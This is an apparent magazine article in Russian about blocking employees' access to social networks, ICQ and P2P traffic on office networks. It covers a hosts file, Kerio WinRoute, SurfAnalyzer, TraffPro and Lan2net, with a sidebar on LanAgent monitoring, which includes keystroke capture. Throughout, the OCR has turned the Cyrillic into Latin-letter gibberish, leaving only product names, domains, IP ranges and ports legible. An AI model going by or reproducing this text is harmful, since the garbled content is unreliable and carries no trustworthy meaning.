B CTPOKE COCTOSTHHMA B IT0JIe Be3omnacHoCTh, B OKHe HacTpoeK BhIOpaTh «Orpa-
HUYEHHBIE Y3JIbI» 1 HAYKATh KHOTIKY «Y3JIbI», 9TOOBI I06aBUTD aipeca.

Ellie ofyH BapuaHT 6JI0KMPOBKH CAHTOB — HUCIIOIb30BaHNe CIIyK6b1 DNS.
DTO MOKeT OBITh KaK cepBep BJIOKaTbHOU CeTH, KOTOPBIH OyZieT BhZaBaTh
HenpaBwIbHEIE I[P Ha onipesiesieHHbIe callThl, TakK U ¢pait HOSTS (o6braHO ste-
Ut no agpecy c:\Windows\ System32\drivers\etc\hosts) Ha KINEHTCKOM
koMmItbtoTepe. C [TocIeIHUM BapUaHTOM BCE ITPOCTO:

127.0.0.1
127.0.0.1

odnoklassniki.ru

www.odnoklassniki.ru

To ecTb npu 3anpoce «OZHOKJIACCHUKOB» 6pay3ep IOy IUT afipec JOKaIb-
HOMH CUCTEMBI, U, 10 CyTH, 3a1IPOC 3a6JI0KUPYETCA.

KERIO WINROUTE
B cOBpeMeHHBIX CeTsX /I OPraHU3alK COBMECTHOTO ZIOCTYIIA B MHTEPHET
V1 3allIUTH] BHYTPEHHEH ceTH yacTo ucrnosb3yeTcs Kerio WinRoute, ymeto-

Y 6JI0KMPOBATh TI000H TpadUK, OIlpeieIeHHBIN aIMUHOM. B cocTaB
TIPOZYKTa BKJIIOYEH LeJIbIi PsiZl KOMIIOHEHTOB: datiepBo ¢ yHKmAmME NAT,
npokcu 1 VPN-cepBep, aHTUBUPYCHBIA MO/IY/Ib, paclipe/ie/IeHre Harpy3Ku,
6mokupoBka P2P-Tpaduka u MHoroe apyroe. [Togpo6Ho 0 KWF yike pac-
CKa3BIBaJIOCh B cTaThe «MapIl-6pOCOK B GOJIBIIYIO CETh», OITy OIMKOBAaHHON
B ceHTAOpbcKoM HoMepe ][ 3a 2007 rof;, II03TOMY OCTaHOBHUMCS JIIIb Ha
GyHKIMAX OIOKUPOBKH JOCTYIIA K CAUTAM.

HauneM ¢ camoro npocToro — GuIsTpariu cofiepXXxumoro. JTa prya Ha-
CTpauBaeTCs IPY ITIOMOLIY TPOCTHIX IIPaBIJI BO BKIa/iKe «KoHduryparus - >
dubTpanus cogepxuMoro». B KWF BKIIFO4eHO HeCKOJIbKO KOMIIOHEHTOB,
TIPY ITIOMOIIIY KOTOPBIX 33/Ial0TCA MOJTUTUKH, TO3BOJIAIOIINE GIIOKMPOBATh
poctyn K onpegeneHHbIM URL o mpotokonam HT TP u FTP Ha ocHOBaHUM
mabsioHa. [I1a6IoH azpeca MOXKHO 3a/1aTh IPSMO B IIpaBule GpUIBTpa-

LIMH, HO 3TO Hey106HO. [y HaTMYUK HECKOIBKUX IIa6I0HOB, K KOTOPBIM
HeOOX0MMO IPUMEHUTb OZJHO A€HCTBHE, IPUAETCS A06aBIIATh HECKOIBKO
TIPaBUJI, 4TO ellle 60Jiee yCIOKHAET IPOLIECC. YYUTHIBASA, YTO aZIMUH JaKe
211 HeOoIbIIoN ceTr GopMUPYeT 6OIBIIOe KOMHYEeCTBO IPABUII, TPUAETCA
TIOTOM /IOJI'O MICKaTh Hy>KHOE, eCJIM TIOHAZ00HUTCS YTO-TO UBMEHUTD. [103TO-
My HepexoauM B «Onpezenenus -> ['pymisl URL», e coaepykaTcs abIoHbI
URL, pa36uTsle Ha rpyIbl. [To yMOT4aHUIO 3/1eCh YeThIPe IPYIIIbL, Ha3Ha-
YeHHe KOTOPBIX IIOHATHO U3 Ha3BaHusa — Ads/banners, Search engines,
Automatic Updates u Windows Update. /lo6aBum cBoto rpymity. Haxkumaem
KHOIIKY «/l06aBUTb», HOSABIAETCA OKHO, B KOTOPOM 3aII0/IHAEM Ha3BaHHe
(uampumep, Social network), Bet6rpaem tumn (URL wru pymnima URL) B
TI07Ie aZipeca BIIMCBIBaeM:

odnoklassniki.ru/*

BHOCHM ellje 0HO TPAaBWJIO B 3TY I'PYIIILY, YTOOBI IEPEKPHIT BCe BAPUAHTEI
azpeca:

*.odnoklassniki.ru/*

V1 no6aBiseM Bee aZipeca COIMaIbHEIX CeTel U IPYTHUX PECYPCOB, K KOTOPBIM
HYKHO 3aKPBITh 0CTYII. He 3a6bIBaeM IIpo CalTHI, I/ie Iy OIUKYIOTCA 3epKa-
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J1a 7151 «OTHOKJIACCHUKOB», «BKOHTaKTe» 1 Mof00OHbIX (a-y1st dostupest.ru).

[Tpu HeobxoAMMOCTH 6JI0KMPOBATH 3arpy3Ky dyepe3 HT TP onpesieleHHBIX
TUTIOB GaiIoB co3/[aeM /st HUX TPYIIIbL U 11a6IOHEL.

Bo Bk1azike «['pymiIIbl apecoB» 3alaeM alIUIIHYK WK Iala30H apecoB,
KOTOPBIi1 3aTeM Oy/ieM UCII0Ib30BATh B IPaBWIaX GUIBTPALIMN B KAYECTBE
JIOTIOJTHUTEIBHOTO ITapaMeTpa, OIIpeesIAIoIIero 6;I0KMPOBKY pecypca.
Terepb iepexofuM B TOAITYHKT «KoHduryparus - > OrisTpanys coaepsku-
moro -> [Tonutuka HTTP». 3aech yke ecTb HECKOTBKO IMTOATOTOBIEHHBIX
IIOJIUTHUK, IOCTPOEHHBIX Ha ocHoBe Ipymil URL, 0 KOTOPEIX FTOBOPHJIOCH
BhmIe. [Tociie ycTaHOBKHM aKTUBUPOBAHBI TOJIBKO TP IIpaBIIa, paspelao-
Ive OGHOBJIEHUE U IOCTYTI K IOMCKOBBIM poboTaM.

YTo6bI 3a6JI0KMPOBATh OAaHHEPHI 1 BCIUTBIBAIOIIYE OKHA, CTAaBUM (JIasKOK
HanpoTtuB «Remove advertisement and banners» 1 co3zaem HOBoe IpaBIIIO.
BBozuM ero HazBaHUe, yKa3bIBaeM yU€THBIE 3aIIHCH, [JIsI KOTOPBIX OHO OyzieT
aKkTUBHO. [To yMOT4aHUIO B 3TOM CITHICKe ITPOIMCaHbI BCe YUeTKH, HO, UCIIONb-
3yl HACTPOWKY ITPABIJI, MOXKHO JIETKO 3a06JIOKMPOBATh IOCTYII K HEKOTOPBIM
IpyIIIaM caliToOB TOJIBKO /1A OIIpe/ie/IeHHBIX NTojIb3oBaTesieil. [lepexoam k
niosito «M ecir URL yZoBIe TBOPAET KPUTEPHIO». 3[eCh ITpelaraeTcs 4YeThipe
BapuaHTa IefCTBU: yKa3aTh mabiioH, BbiopaTs rpymmy URL, KaTeropuio
Web Filter (o Helt 4y Thb HIDKE), ¥ 3a6IOKUPOBATD JIFOOOM y3€J1, eCITH K HEMY
obparwmtuck 1o IP (uto, keTaTu, Toke GpIBaeT mosesHo). Hac untepecyer
co3/aHHasA HaMU paHee rpymia Social network; BEIOpaeM ee 1 ycTaHaBIIH-
BaeM /leliCTBUe «3aIlIPeTUTb JOCTYII K BeO-y31Ty». YTOOBI OTC/IeKMBATH BCE
MIOIBITKY MOAK/IIOYEHNUA K y3/1aM, OIIPe/Ie/IeHHBIM B 3TOM IIPaBUJIE, CTABUM
dnaxox «KypHas». OTo He Bce HACTPOUKU. 3aIVITHYB B «/lOTIOTHUTEIBHO»,
MBI ITOJTydaeM BO3MOXKHOCTB yKa3aTh BpeMeHHOH UHTepBaJl, B Te4eHue KO-
TOpOro GyZieT aKTUBHO IPaBIJIO, U rana3oH IP (co3zaHHbIi B «['PyTIITB aipe-
COB»), U1 KOTOPOTo OyzZieT AeHicTBOBATH ITpaBmIo. B urore KWF nossosser
O4YeHb TOHKO HACTPOUTB GJIOKUPOBKY ITPAKTHYECKH 1A TIOOBIX yCIOBUH. 1
BO BKJIaZIKe «[ IpaBrIa coziep>kMOro» yKasbIBaeM [TapaMeTphbl CKAHUPOBa-
Hus Beb-koHTeHTa (TpoBepka ActiveX, ciienapuu HTML u JavaScript).

37ech X0Ten0ch 651 06paTUTh BHUMAaHNe Ha (1KoK «3alpeTUTh Beb-cTpa-
HMUIIBL, coZiepoKaliye 3anpelieHHble ciaoBa B koge HTML». ITo ymordaHUio OH
CHAT, T03TOMY 00513aTeIbHO aKTUBHPYeM ero. CITMCOK CAMUX CJIOB 33/Ia€TCs
B OTZIe/IBHOM BKJIZIKe «3ampelieHHbIe CIT0Ba». KaXX oMy ClI0By COOTBETCT-

ByeT Bec, BHU3Y CTPAaHHIIBI yKa3bIBaeTcs nudpa Beca (1o ymordanuio 70),
TIpY IOCTIKEHNH KOTOPO#i cTpaHuIia 6iokupyercs. ViHTepdetic mporpam-
MBI TO3BOJISIET TPU HEOOXOANMOCTH 06aBUTH B CIIMICOK HOBBIE cyioBa. Ho
4TOOBI JaHHAas1 GYHKIMSA paboTaa B TOJTHOM Mepe, CIeyeT CO3aTh HOBOE
nipaBwiIo c mrabmoroM URL (¥). Takum o6pa3oM, OyyT IpOBePSTHCS BCe
Be6-CTPaHUIIBL, K KOTOPBIM 0OpaIaeTcs oIb30BaTeNb.

Ho BoamokHOCTH KWF 3THM He orpaHrnduBaioTcst. OTAenbHO IULEH3UPY-
etcsa mozaynb Kerio Web Filter, ucrnionbayroinnii kareropuu Be6-caifTos [SS
Orange WebFilter. AxMuHUCTpATOP OYKBAJIBbHO ABYMS LI€TIKaMU MBIIIKH
OIlpeZiesIAeT OCTYTI K OAIHOM 13 58 KaTeropuii Be6-caiiToB, IOAJeP3KU-
BaeMBIX TUM Mozy/1eM. [IpH oceleHnH ToIb30BaTeieM Beb-caiiTa oH
TIPOBEPSETCA 10 IOCTOHHO OGHOBIIIEMOI Oase, Te HaxoauTes 6osee 20
MIUTOHOB CalTOB, U, B 3aBUCUMOCTH OT PE3YJIbTaTa, Pa3peIiaeTcs Win
6JIOKUPYETCs I0CTYIL. AZIMIH JIUIIb KOHTPOJIMPYET 3TOT IPOILECC II0 OTYe-
TaM, BCe OCTaIbHOE IPOMCXOAUT aBTOMaTHYeCcKU. Eciv 6;I0KMpOBKa 10
HEKOTOPBIM IIPUYMHAM HexesareabHa, Kerio Web Filter MoxxHO Hncnomnb3o-
BaTh /1A c6Opa CTaTUCTUKY IIPeAIIOYTeHUH [0Ib30BaTeNeH.

TMonutuky FTP HacTpauBaroTcs B OZHONMEHHOH BKIaJKe. [Tocie yCTaHOBKU
KWF 371€Ch y2Ke TponycaHbl YeTHIPE [IPaBIIa, aKTUBALUS KOTOPBIX II03BO-
JuT 3abmokrpoBaTh upload v 3akauky Buzeodaiiios. Jlanee, UCIIONb3Ys
YX KaK I1abJI0H, aZIMUH JIETKO CO3ZlaeT HOBBIE IPABIUIA IO/ OIIpe/ie/IeHHbIe
pacurupenua Gpaiios. B mpaBmiax ykaselBaroTCA: OJIb30BaTe b, [P-azipec
cepBepa, HallpaBJIeHHe 3arpy3KH, MabsoH dpaiina wm FTP-komaHza.

K coxaseHu1o, IpOCTOro myTu 06py6UTh achKy U 1000HbIe IM-cepBHCH
BKWF Het. KoHeuHo, agpeca Bpozge login.icq.com, id.rambler.ru Mo>xHO

6;10KMpOBaTh B ripaBmwiax URL, HO JIy4IIIiM BBIXOZOM OyzieT 6aH aliIIUIIHI-
k0B IM-cepBepoB. [ToApo6HO 0 TOM, KaK HAYYUThCA ONPeJeIATh Hy>KHbIe
IP 1 6aHUTB UX, CMOTPH B cTaThbe «CepIioM IT0 aCbKaM», Oy OIMKOBAHHOH B
aBrycToBckoM HoMmepe | [ 3a 2009 rog.

Jlns yno6eTBa B «['pYIIITBL 8pecoB» CO3aeM OTETbHYO IPYIIILY, Ha30BEM
ee, K IpuMepy, «Instant Messengers», I7ie IPONKChIBAEM BCE U3BECTHbIE
nuvanasoHsl [P:

- Rambler ICQ: 81.19.64.0 - 81.19.66.255;
- icg-ws.rambler.ru: 81.19.69.0 - 81.19.70.255;
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HacTtpoiika 6paHgmayapaWindows

- ICQ: 64.12.0.0 - 64.12.255.255, 205.188.0.0 -
205.188.255.255

WV tak ganee. Teneps nepexozuM B «[lonuTika Tpadrika» ¥ co3zaeM HOBOe
npaswio. Hagensem ero nouatHeiM numeHeM (ICQ Deny), B mosie «HasHaue-
HHe» ueM B «/lo6aBUTh - > I'pymma [P-aipecoB», B CIIUCKE HAXOAUM IPYIIITY
«Instant Messengers». JIBaxx/ibl llleIKaeM B 11oje «/leficTBHe» U yCTaHaBIN-
BaeM IepeKIovaTens B «OTKa3aTh» WK «YJalIuTh». B TaKoM BU/ie IPaBUIO
6yZeT KacaThCs IOAKIIOYEHHU KO BCeM ITopTaM. B IpuHIuIIe, Jasbline
MOYKHO He 3aMOPavnBaThCsL. [10CIeIHUM OOBIYHO CTOUT OIIOKHPYIOLIEE BCE
MIOZIKJTIOYEHH IIPABIUIO. [I09TOMY ecyiy B TOMUTHKAX GUIBTPALIN HACTPOE-
HO ZIeWiICTBUTENBHO TO, YTO HY)XKHO, ITOPTHI, UCIIO/Ib3yeMble CEPBUCAMU,
MOYKHO y?Ke OT/ZIe/TbHO He 6aHuTh. HamomHio, uro Mail-AreHT paGoTaeT mo
moptam 2041, 2042; Yahoo! Messenger — 5000-5001, 5050; MSN — 1863;
Jabber/Gtalk— 5222, 5223; IRC— 06b14HO 110 6667-6669.

Temeps 0CTaIOCh OTPAHUYNTD TMPUHTOBBIN TpadUK. Bece Hy)KHEIE HACTPOH-
KV IIPOU3BOZJATCSA BO BKIaJKe «/l0TIOTHUTeTbHbIe TapaMeTpsl — PribTp
P2P». JlocTaTOYHO yCTAHOBUTh IIEPEKJIFOYATENb B «3a0I0KUPOBATh TpahUK

Y pa3pelIuTh TOJIbKO He-P2P ogKII0ueH s», U 0 TIPO6IEMe MOXKHO 3a0bITh.
Kax BapuanT, Kepro mo3BosiseT 3a610KipoBaTh Bech TpadUK KJIEHTa IIPU
TIOTBITKE MOAKTIOUeHNs 110 P2P ¢ ykazaHneM BpeMeHH GJIOKMPOBKH (I10 YMOJI-
vyaauio 120 MuHyT). [101b30BaTeIIO IIPY 3TOM OTIIPABJIETCS yBEJOMIEHE IO
JIEKTPOHHO [10YTe, B KOTOPOM OO'BSICHSAETCS IPUYNHA, YTOObI OH He OYsHIT 1
He 3BOHWI aZIMUHY WK Ha9aIbCTBY. BoobIIe rOBODs, Tapa-TpoiiKa 6I0KUPO-

|
CeTeBOM 007

EcTh Ba crioco6a HaBeCTH OPAZIOK B JIOKAJIBHOI ceTH: 6JI0KH-
POBaTh U KOHTPOINPOBaTh. Kax/plii UMeeT CBOU JOCTONHCTBA
M HeI0CTaTKH. B ueane Hy>KHO MCIIOIb30BaTh 00a BapyaHTa,
YTOOBI HCKIIOYUTH CIydaH, KOIZia YTO-TO NPoiiZleT He3aMe4eH-
HBIM. OZHUM U3 APKHX IIPeACTaBUTE el KOHTPOJIEPOB ABIAETCA
peuienne LanAgent (lanagent.ru). ATeHTHI, yCTAHOBJIEHHbIE HA
KJIMEHTCKHX CHCTEMAaX, IO3BOIAIOT OTC/IE}KUBATh, YEM 3aHU-
MaeTcs [I0JIb30BaTe b B paGouyee Bpemsa. MOKHO y3HaTh, KAKHe
IIPOrpaMMBbI U CEPBHUCHI OH 3allyCKaeT, KaKHe CaiThI IoceliaerT,
KaKue BHEILIHUe yCTPOoiicTBa NoAKII0YaeT. Takke areHThI yMeIoT
JeaTh CHUMKH 3KpaHa, IepexXBaThIBaTh HAXKaTHUA KJIaBHIII, CO-
o6menun ICQ u e-mail, JOKyMeHTEI, OTIIpaBJIeHHbIE HA 1€YATh,
daiurel, ckonupoBaHHbIe Ha ¢diemky. [Ipyu HapylIeHNUH ycTa-
HOBJIEHHBIX IOJIUTUK a[IMUHUCTPATOP MOIyYaeT yBeOMIEHHUE.
IIporpamMma OCHaIleHa CHCTEMOIi 0TYETOB, IO3BOJIAIOLNIE ObIc-
TPO COCTAaBUTH rpapUK aKTUBHOCTH IT0JIb30BaTeIeli 3a HyKHbII
epuoj BpeMeHH.

CoénaeM rpynny URL B Kerio WinRoute

BOK, pacreyaTKa HapyLIeHU Ha CTOJ PYKOBOAUTEIIO — U AUCLUIUINHA OyAeT
noATsAHyTa. YTO6HI OIpeieiuTh paboTy 1o P2P, HCIOIB3yeTest CIIMCOK TOPTOB,
KOTOPBIH MOKHO IIPOCMOTPETh 1 OTPeJaKTUPOBATh B MEHIO, TOSABIAOIEMCS
TIPYA HOKATUX KHOTIKU «/[OTIOTHUTEIbHO>. 371eCh 2Ke 3a/JaeTCs YAC/IO0 OKIIIO-
YeHM# U CITHCOK CITY’K0, KOTOpble Oy/yT ONpesesaThes Kak He-P2P. CaMblit
IIPOCTOM BapUaHT: HaCTpauBaeM OIOKHPOBKY OIIpe/ie/IeHHBIX IIOPTOB, TeM 60-
Jiee B TIOJIMTHKAX Y2Ke eCThb 3aroToBkH yisi eDonkey, DC+ +, Gnutella, Kazaa u
1p. Keraru, y Kerio ecTs elrie 07iHa BO3MOXXHOCTb GJIOKMPOBKY — IPOIIMCATD B
Hacrtpoiikax DNS («Kondwuryparwst - DNS») HenpaBWIBHOE COOTBETCTBHE [P-
azipeca, 0 YeM roBOpH/IOCH BhllIe. [TpocTo muiieM agpec Bpofie: vkontakte.
ru 127.0.0.1./nomp3oBaTean He CMOTYT MOAKIIOUUTHCSA K yIaJIEHHOMY

cepBepy.

AHAJIU3ATOP CEPOUHIA SURFANALYZER

SurfAnalyzer (surfanalyzer.ru) — crennajau3supoBaHHOE pEIIeHNUE,
T03BOJIAIONIEe GIOKUPOBATH JOCTYTI K pecypcaM, KOTOPEIE OTBJIEKAIOT
0T pabOThI WX HECYT TOTEHI[MATBHYIO OMIACHOCTD. [Iporpamma, siBisisch
TOCPeHIUKOM MEKY NHTEPHETOM U I10JIb30BaTENEM, IPOITYCKAET Yepes
ce6s BeCh TpadUK, TOITOMY C €€ TOMOIITHIO OYeHb IIPOCTO KOHTPOJIHUPO-
BaTh 3aKavKy $HaiiioB ¢ OIpeeIeHHBIMU PACIINPEHUAMU (.€Xe, .com,
.ZIp M T.Z1.), BIOXKEHUS B 3JIEKTPOHHO# ouTe, GuibTpoBaTh IM-coobuie-
HYA, 6JIOKMPOBATh HEKOTOPHIE TUIIBI CAUTOB. Bes mHpopMarus o moce-
IIeHHBIX pecypcax CoXpaHaeTcs, ¥, IPOCMOTPEB JIOTH, MBI JIETKO Y3HAeM,
yeM 3aHMMaJICs IT0JIb30BaTesb B pabodee BpeMs. B cirydae nmosBieHuA
BHEIITATHBIX CUTYallWi aIMUHUCTPATOP OTIOBENAETCS TIOCPEACTBOM
e-mail unu [CQ. SurfAnalyzer cocTouT 13 Tpex KOMIIOHEHTOB, KOTOPEIE,
KaK [TPaBIJIO, Pa3BOPAYMBAIOTCs HA HECKOIBKUX CUCTEMaX:

e« cepBep (Server) obecrnedmMBaeT OCHOBHOM QYHKIIMOHAJ, CO-—
OEPXUT BeO6-MOOYyNEb (HOCTYII B MHTEPHET, COOpP CTaTUCTUKM,
KOHTPOJIb 3arpy3ku ¢arnioB, pabora B IM) , IIOYTOBHEM CEPBED
(KOHTPOJIb UCXOOAMMX ¥ BXOmammux rmceMm) , CYBI Firebird mus
XPaHeHNUA CO6paHHI>IX IOaHHBIX; BCe 2TO CBA3HBaETCH IIPU ITOMO-—
Wy MOIYJISI OIIOBEIEHMSI ¥ HACTPOMKN ;

* paboyee MeCcTO crielmanucTa besonacHocT (View) oTcCiexm—
BaeT HapylleHMs IONNUTUKY Oe30IIaCHOCTHY M OOCTYII K apXuBaM
e-mail, ICQ u ImoCemeHHEX BeO-CalToB;

« paboyee MECTO aIMMHMUCTPATOPa cucTeMu (Admin) IO3BOISET
HaCTPOUTH TIONUTUKU 6E30IMacHOCT, OOCTYII MTOJIb30BaTelen u

CHCTEMy KOHTPOJIS.

Jl711 HeTlocpeICTBeHHOM OpraHu3aIiy 0CTyIIa [I0Ib30BaTesIel B MH-
TepHeT 1 yueTa Tpaduka B mape ¢ SurfAnalyzer o/KeH UCIIOIb30BaThCS
TIPOKCHU-CEPBEP CTOPOHHETO pazpaboTurika (UserGate, WinGate uT.11.) B
HacTpoWKax IPOKCU-CepBepa OCTaBJIAETCSA IMIID O/JHA yIeTHAas 3alIUCh —

» 120
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KoHTponb Tpachuka B SurfAnalyser

SurfAnalyzer, koTopas 6yzeT UMeTh TTOJIHBIE ITpaBa. Bce ocTajbHbIE TTOJTb-
30Baresu OyyT MOAKIIOUAThCS K MHTEPHETY yepes cepBep SurfAnalyzer.
Jlns ycranoBku SurfAnalyzer moTpe6yeTcss KOMITBIOTEP, pabOTAIOIIUI ITOZ,
ynpasneHrueMm Win2k/XP/2k3. MuHUMaIbHbIE CHCTEMHBIE TPEOOBAHUA 3a-
siensl cregyrommpe: CPU 1.7 T, 256 M6 RAM 1 200 M6 HDD. YeranoBka
KOMITOHEHTOB CTaH/IapTHa; BCce Heo6xoAuMoe, B yacTHOCTH Firebird, yxxe
nzieT B KoMIuleKTe. [0 OKOHYaHUY YCTaHOBKY CEpPBepa 3aIlyCTUTCA He6OJIb-
110e OKHO yTipaBiieHus ServiceManager. /lajiee BbI3bIBaeM OKHO KOHCOJIU
SurfAnalyzer Admin, peructpupyemcs kak Admin ¢ mycTbIM TapoIeM.
Eciiu cepBep ycTaHOBJIEH Ha Ipyrol cucTeMe, yka3biBaeM ero [P. OcHoBHOe
OKHO a[MUHKH pa3/ieJieHo Ha YeThIpe BKIagku. Ha Bkiagke «OCHOBHBIE»
YKa3bIBAIOTCs HACTPOUKHU IIPOKCH-cepBepa, topT (Web+I1CQ), Ha KoTopom
SurfAnalyzer 6yzeT % aaTh KJIMEHTCKIE TOAKIIOYEH S (110 YMOTIaHUIO
3128), moptsi POP3 1 SMTP, yactoTa aHasu3a TekcTa u npodee. CobcTBeH-
HO, B 3TOH BKJIaJIKe HEOOXOAMMO JIUIIb HACTPOUTD ITapaMeTPhI JOCTYTIA K
pokcu-cepBepy. COOTBETCTBEHHO KOMIThIOTEPHI [I0JIb30BaTe e, Be6G-6pa-
Y3€pBl, IPOrpaMMbl is pabOTHI C IOYTOM U T./I. JOJDKHBI ObITh IEPEHACTPO-
enbl Ha [P-azipec cepBepa SurfAnalyzer.

Brutazika «KOHTpPOJIb» TO3BOJISET JOOABUTD YUETHBIE JaHHBIE aZIMUHOB U
PpacrpeZie/IuTh MeX/y HUMU 00sI3aHHOCTH 110 HacTpolike. O6CIyKuBa-
eMble TI0YTOBBIE SIIUKY U e-mail-cepBepbl, ¢ KOTOPBIMHE OyzieT paboTaTh
SurfAnalyzer, nponmceiBaroTest Bo BKiIaaxe [Toura. 3/1ech ke ycTaHaBIMBa-
€TCsI COOTBETCTBHE YIeTHOM 3aIHCH ITOYTHI OIIpe/ieJIeHHOMY KOMITBIOTepY,
JIeWCTBYA I BIOKEHUH U IIOZ03PUTEIBLHOTO COAEPKUMOTO.

YueTHBbIE 3aTIHCH [I0Ib30BaTeNel, KOTOPbIe Oy/IyT BEIXOAUTH B UHTEPHET, CO-
3aaroTes Bo BKIagke «Web + ICQ + Mail Agent». B SurfAnalyzer moggep:xu-
BaIOTCA TUIIBI aBTOPU3ALUU «TOJIBKO IO IP», «Tos1bKO 110 MAC» 11 «[P+MAC».
[Tporpamma cKaHUpPYeT ZOCTYIIHbIE CETH Y BEIBOAUT CIIFICOK HAHIEHHBIX
KOMIIBIOTEPOB, BKJIto4ad uMd, IP- u MAC-agpeca. [Tocse Toro, kak yueTHas
3aIuch 106aBIeHa, B IPaBOY BKIaJKe PeaKTHPYIOTCA TapaMeTphl J0CTYIIa.
B03MOKHBI ZIBa TOAX0/A: PA3PEIIUTD TOJHKO BEIOPAHHOE WY 3aTIPETHUTD BhI-
6panHoe. Tak, TUIIBI GailyIoB 0OTMeYaloTcs B Bkazike «MIME-HacTpoiKu».
OrbupaeM Hy>KHOe 1 yKa3bIBaeM IeHiCTBYE IPY ITOMOIIH BEIIA[AIOIEr0
cricka «[IpaBuiio». ITpaBuia XopoIo IPOKOMMEHTUPOBAHBL, I03TOMY
COPUEHTHPOBATHCS B HUX ITPOCTO. [Ipy HEOOXOAUMOCTH JIETKO I06ABUTH
HoBble MIME-TuIbl/paciivpeHus A1 CBOUX pysieceToB. Bee pacuiipenus,
HeusBecTHbIe SurfAnalyzer, aBTOMaTHYECKH TOTIAZIAI0T B OfTHOUMEHHYIO
KaTeroputo. Takke MOXHO OTIPeZIeIUTD CITMCOK CTOII-CJIOB U 3allpellleHHBIX
URL, koTopsble 6yzyT KoHTporpoBaTbest SurfAnalyzer. Bece HacTpoiiku
BBITIOTHAIOTCSA B OZIHOM BKJIJIKE, TTO OZHOM B CTPOKE: IIPOCTO ITUIIIEM CTPOKY,
COBIIa/IeHEe C KOTOPO 6yeT mpoBepsAThest. Hampumep, aist «OpHOKIIAC-
cHuKoB» — odnoklassniki. BoT 1 Bech 111a6/10H, HUKAKUX IIOACTAHOBOK HE
IpeAycMOTpeHo. Takke HET BO3SMOXKHOCTH OITOKUPOBOK 110 IP.

SurfAnalyzer mo3BoJIsIET BEIIOTHATE TPOBEPKY B TpadUKe ONpeie/IeHHBIX
CJIOB, KOTOPBIE 3a/1at0Tcst BO Bkazike «ICQ + Mail Agent». Bee coobienns,

cozeprkamiye 3anpereHHble URL WM €T0Ba, IOMEYAIOTCS OIpe/ie/IeHHbIM
obpasom B koHcosu View. KoHcoutb crienpanucta 6e30acHOCTH, 110 CYTH,
SIBJISIETCS CPEACTBOM IIOJIyYeHUs Pa3IMYHOTO POZia OTYETOB IO ITOIB30-
BaTesIM, COOBITUAM U JaTaM. A Mes Ha pyKaX TaKylo CTATUCTHKY, O4eHb
[IPOCTO HaKa3aTh COTPYAHUKA PyOIeM :).

KOHTPOJIEP TPA®UKA TRAFFPRO

TraffPro (traffpro.ru) — creruaa3rpoBaHHOE U O4€Hb IOHATHOE B
HaCTPOMKax pellleHue st KOHTPOJIA TpadyKa U yIpaBIeHNsA JOCTYIIOM.
[IporpaMma obecrie4rBaeT KOHTPOJIb U y4eT TpadHKa, TenepOHHBIX 3BOH-
koB (moazepxuBarorcsa ATC Panasonic 1 LG), 3a1iUTy cepBepa v CUCTEM,
6710KMPOBKY 1TOPTOB, NAT, TOpT-popBapAKHT, yMeeT paboTaThb B CBA3Ke
cHpokcH-cepsepoM Squid. BoamMorkHa aBTOpH3anyA noib3oBaresna —IP,
MAC, iorus utaposb, LDAP/AD 1 VPN. /locTyIiHO 60JIbIII0E KOTUIECTBO
OTYeTOB ¥ MOHUTOPUHT coeguHeHM. Hanucau TraffPro c ucronpaoBanu-
eM 6ubroTek Qt, /11 XpaHeHUs JaHHBIX 3aeiicTByeTcss MySQL, rpaduxu
CTpOSATCA P oMolny gnuplot. CepBepHas 4acTb yCTaHABINBAETCA IO,
Linux, K/MeHTH yrpasiaeHusa — nog Windows u Linux, ecTb 1 Be6-KJIMeHT.
IIpeanaraeTcs HeCKOJIBKO peaTn3aliii, B TOM YKciIe JocTylHa 1 Free-Bep-
cst, ob1azjaronias BceMy OCHOBHBIMU GyHKIMAMU. CO CPaBHUTENIBHOM
TabIUIel BO3MOXXHOCTEH MOYKHO TO3HAKOMUTHCA Ha odcaiiTe, TO3TOMY
10pOGHO OCTaHABIMBAThCA 371eCh He OyzieM. YCTaHOBKa CepBepHOM 4acTu
BLinux 3akitoqaeTca B pa3BepToiBaHuu LAMP-cepBepa (cM. cTaTbio «Boi-
me6Has TamMIia aMuHa» B ] [ 12.2008) U ycTaHOBKe YIIPaBJISIOIIEH YaCTH.
YT06BI 6JIOKMPOBATH AOCTYII K OIIPE/ie/IEHHO IPYIIIIe CAlTOB, BEIOMpaeM
B KOHcosu «KiueHTsI - I'pyninsl - PeakTupoBanue ['pymnisl - Ciucok
JIOMEHOB» U ZIobaBJIsieM JOMEHEI, KOTOPbIe HY)KHO OJIOKHPOBATB /JI BBI-
6paHHO IPYIIIEL. AHAJIOTMYHO YKa3bIBAaeM CITFICOK Pa3pelleHHBIX TIOPTOB,
BCe OCTaJIbHbIE OAKIIOUEHNA 1A [I0/Ib30BaTe el 3TOM IPYIIITBI Oy ayT
6710KMpOBaHbL. TaKyKe YIUTHIBAsA, ITO MBI IMeeM Zie10 ¢ Linux, mpu Heo6Xo-
JIUMOCTH MOYKHO JIETKO CAMOCTOSITEIBHO [00aBUTh Hy KHBIE [TPaBUIa IPU
oMoty iptables (TraffPro ucmosnb3yet cBoii daitn HacTpoek iptables —
/ete/traffpro/traffpro_rule.cfg).

LAN2NET FIREWALL

Lan2net NAT Firewall (lan2net.ru) — nmporpaMMHBIN MeXKCETEBOU
9KpaH, IIpeJiHa3HaYeHHBIH /11 OpraHu3alny 6e301acHOro 0CTyIa B
WHTepHET ¢ GYHKI[UAMU 3alLUThI CETH, GUIBTPALIH CATOB, KOHTPOJIS
uydera Tpadpuka. Ero pazpaboTkoi 3aHUMaETCs PpOCCUMCKast KOMITAHUS
HeTtcu6, umerornas, k oy, cratyc Microsoft Small Business Specialist.
BosMokHOCTelH y mpoAykTa Lan2net oueHb MHOTO, HacC Ke MUHTepecyeT
byHKIMA 6IIOKMPOBKY OCTYIIA K CaliTaM, KOTOpas peajnu3yeTcs 3a CIeT
HCIOIb30BaHUA MexaHu3Ma ¢ribTpanuy caitos o URL u IP. 3anpeTuts
JOCTyI 110 IP MOXKHO ITpu co3iaHuy npasuia firewall vwm npaBua s
rpymnsl. Beibupaem npoTtokos (opt) U ykassiBaeM [P-azipec. XoTs aToT
MeTO/ He Ha30Bellb yZIOOHBIM, TaK KaK 3a1aTh CIIUCOK IP-a/pecoB Helb3sa
— TOJIBKO iuana3oH. [103ToMy Kask bl aipec IPUAeTCA IPOIUChIBATh
OTZeIbHBIM TPaBUIOM. Jlpyroii BapuaHT — MexaHu3M ¢unbrpanyu URL,
JIOCTYTI K KOTOPOMY MBI ITOTy4aeM B CBOMCTBaX IPYIIIIBI ITOJIb30BaTeNIeH.
